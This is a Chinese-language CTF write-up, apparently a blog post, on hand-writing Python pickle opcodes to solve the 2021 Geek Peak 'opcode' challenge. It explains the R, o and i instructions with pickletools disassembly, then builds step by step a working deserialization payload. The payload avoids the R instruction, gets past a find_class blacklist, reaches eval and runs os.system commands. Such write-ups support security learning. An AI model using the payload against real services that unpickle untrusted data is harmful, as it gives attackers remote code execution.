手撸 opcode


前言

自己立的 flag,哭着也要完成不是,见上一篇文章 极客巅峰2021 web opcode,还是以这个题为例 opcode.tar.gz,在禁用了 R 指令的情况下绕过 find_class 黑名单的限制

推荐一篇文章 pickle反序列化初探 - 先知社区 (aliyun.com),真的写得太详细了,师傅很贴心的用了动图给我们观察栈的变化,还有每个指令的详细介绍,认真看完手撸完全不是问题

我这里主要是记录一下自己所学,完成 在禁用了 R 指令的情况下绕过 find_class 黑名单限制 的 payload,所以只着重介绍了一下 R、i、o 指令的用法,其他详细的 opcode 编写方法,还是请阅读推荐文章

一、opcode 指令介绍

opcode 现在共六个版本,而高版本向低版本兼容,所以我们直接学习 v0 就行了,其他版本都有不可见字符,既不利于理解,也有可能造成不必要的麻烦

关于 find_class,当出现 c、i、b’\x93’(当然,v0 的话,b’\x93’ 就不用管了)时才会被触发

具体指令的介绍如下,这里只摘录一些会用到的指令,更多指令介绍请前往前面介绍的文章中学习

opcode描述写法栈变化
c获取一个全局对象或import一个模块c[module]\n[instance]\n获得的对象入栈
o寻找栈中的上一个MARK,以之间的第一个数据为callable
第二个参数到第n个数据为参数
(c[module]\n[callable]\nS’arg1’\nS’arg2’\no.这个过程中涉及到的数据都出栈,函数返回值入栈
R选择栈上的第一个对象作为函数、第二个对象作为参数(为元组),调用函数c[module]\n[callable]\n(S’arg’\ntR.函数和参数出栈,函数的返回值入栈
i相当于c与o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(S’arg1’\nS’arg2’\ni[module]\n[callablel]\n这个过程中涉及到的数据都出栈,函数返回值入栈
S实例化一个字符串对象S‘string’获得的对象入栈
(向栈中压入一个MARK标记(MARK标记入栈
t寻找栈中的上一个MARK,并组合之间的数据为列表(S’arg1’\nS’arg2’\ntMARK标记以及被组合的数据出栈获得对象入栈
.程序结束,栈顶的元素作为pickle.loads()的返回值.

可用来调用函数的指令有 R、o、i,模板如下:

# __import__("builtins").print('a', 'b')

R = b'''cbuiltins
print
(S'a'
S'b'
tR.
'''

o = b'''(cbuiltins
print
S'a'
S'b'
o.
'''

i = b'''(S'a'
S'b'
ibuiltins
print
.
'''

上面的三个字符串反序列化的效果都是 print('a', 'b'),但是写法区别还是蛮大的,在分析栈变化情况前,我们先来看看值得注意的点

  1. 只有 i 指令中没有用到 c 指令,c 指令的作用是导入 模块中的实例,i 指令包含 导入和执行
  2. 没有指令可以直接导入 模块、实例等,必须是 模块加实例 的方式
  3. 三个指令的 “ ( ” (标记MARK)位置不同
    1. R 指令的 MARK 标记在第一个参数的开始,用 t 指令将所有参数打包为 元组,传给 c 导入的函数
    2. o 指令的 MARK 标记在 c 指令前,先选取前面两个字符串为 模块.函数,然后后面的都是参数
    3. i 指令的 MARK 标记也在最前,标记为参数,然后 i 指令后面的两个字符串为 模块.函数

我们再来分析一下三个指令执行过程中栈的变化

  1. R 指令:
    1. 先将 builtins.print 压栈
    2. 再将 MARK 标记压栈
    3. 再将字符串 ‘a’、‘b’ 分别压栈
    4. 执行 t 指令,将 ‘b’、‘a’、MARK 出栈,有 MARK 出栈就会停止,组合为 (‘a’, ‘b’) 这样一个元组再入栈
    5. 执行 R 指令,(‘a’, ‘b’) 与 builtins.print 出栈,执行 print(‘a’, ‘b’),结果压栈,即 print 的返回值 None
  2. o 指令
    1. 先将 MARK 标记压栈
    2. 再将 builtins.print 压栈
    3. 再将 ‘a’、‘b’ 分别压栈
    4. 执行 o 指令, ‘b’、‘a’、builtins.print、MARK,分别出栈,执行 print(‘a’, ‘b’),结果压栈
  3. i 指令
    1. 先将 MARK 压栈
    2. ‘a’、‘b’ 分别压栈
    3. builtins.print 压栈
    4. 执行 print(‘a’, ‘b’),结果压栈

有时候 opcode 比较复杂,可能会被绕晕,这里有个工具 pickletools,其中 optimize 方法可以帮我们优化 opcode,dis 方法可以帮我们将 pickle 的符号化反汇编数据输出,效果如下

import pickletools

R = b'''(cbuiltins
print
S'a'
S'b'
o.
'''

print(pickletools.optimize(R))
pickletools.dis(R)

# 输出
# b"(cbuiltins\nprint\nS'a'\nS'b'\no."
#
#     0: (    MARK
#     1: c        GLOBAL     'builtins print'
#    17: S        STRING     'a'
#    22: S        STRING     'b'
#    27: o        OBJ        (MARK at 0)
#    28: .    STOP
# highest protocol among opcodes = 1

dis 方法很直观的给我们展现了 opcode 的执行方式,可以看到,o 指令找到了位置为 0 的 MARK,根据执行我们对 o 指令的了解,知道是执行了 builtins.print,参数为 ‘a’、‘b’

二、编写 payload

builtins.getattr(builtins, 'eval')("__import__('os').system('pwd')") 这样子构造 payload,用到 c 指令导入的就只有 builtins.getattr 和 builtins,但是 builtins 并不能直接导入,所以需要去获取

获取 builtins 的 方式:builtins.getattr(builtins.dict, 'get')(builtins.globals(), 'builtins')

也就是说,我们将 builtins.getattr(builtins.getattr(builtins.dict, 'get')(builtins.globals(), 'builtins'), 'eval')("__import__('os').system('pwd')") 编写为不含 R 指令的 opcode,就可以达到绕过的目的了

参考推荐文章中的绕过 find_class 的 payload:

b’’‘cbuiltins
getattr
p0
(cbuiltins
dict
S’get’
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S’builtins’
tRp3
0g0
(g3
S’eval’
tR(S’__import__(“os”).system(“whoami”)’
tR.
‘’’

这个比较复杂,我们可以分步骤编写

首先是最外层的 function("__import__('os').system('pwd')")

b'''(

S'__import__("os").system("whoami")'
o.
'''

然后是外层的 builtins.getattr

b'''((cbuiltins
getattr

arg1

S'eval'
o
S'__import__("os").system("whoami")'
o.
'''

继续完成 arg1

b'''((cbuiltins
getattr

(function

arg1

S'builtins'
o
S'eval'
o
S'__import__("os").system("whoami")'
o.
'''

function 的 arg1,这里是,使用 o 指令的话,没有参数就不用写,如果是 R 指令,需要用 ) 压入一个空元组

b'''((cbuiltins
getattr

(function

(cbuiltins
globals
o
S'builtins'
o
S'eval'
o
S'__import__("os").system("whoami")'
o.
'''

最后的 function,也就是内层的 builtins.getattr

b'''((cbuiltins
getattr

((cbuiltins
getattr

cbuiltins
dict

S'get'
o
(cbuiltins
globals
o
S'builtins'
o
S'eval'
o
S'__import__("os").system("whoami")'
o.
'''

去掉多余的换行就是最终的 payload 了,可以看到,每个 c 指令的后面的都是 builtins,并且调用的实例并没有在黑名单中

b'''((cbuiltins
getattr
((cbuiltins
getattr
cbuiltins
dict
S'get'
o(cbuiltins
globals
oS'builtins'
oS'eval'
oS'__import__("os").system("whoami")'
o.
'''

这里需要注意的是,在测试的时候如果没有导入 builtins,builtins.globals() 将返回 None,程序会报 AttributeError: 'NoneType' object has no attribute 'eval' 错误


总结

在学习过程中,发现手写的 opcode 真的可以干很多事儿,师傅们总结得已经很到位了,我这里就不献丑了

学习之前我还在想,没有 R 指令是不是不可以绕过,为什么题目不考,网上也没找到文章,学习之后发现,R 指令能做到的,i、o 指令都能做到

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值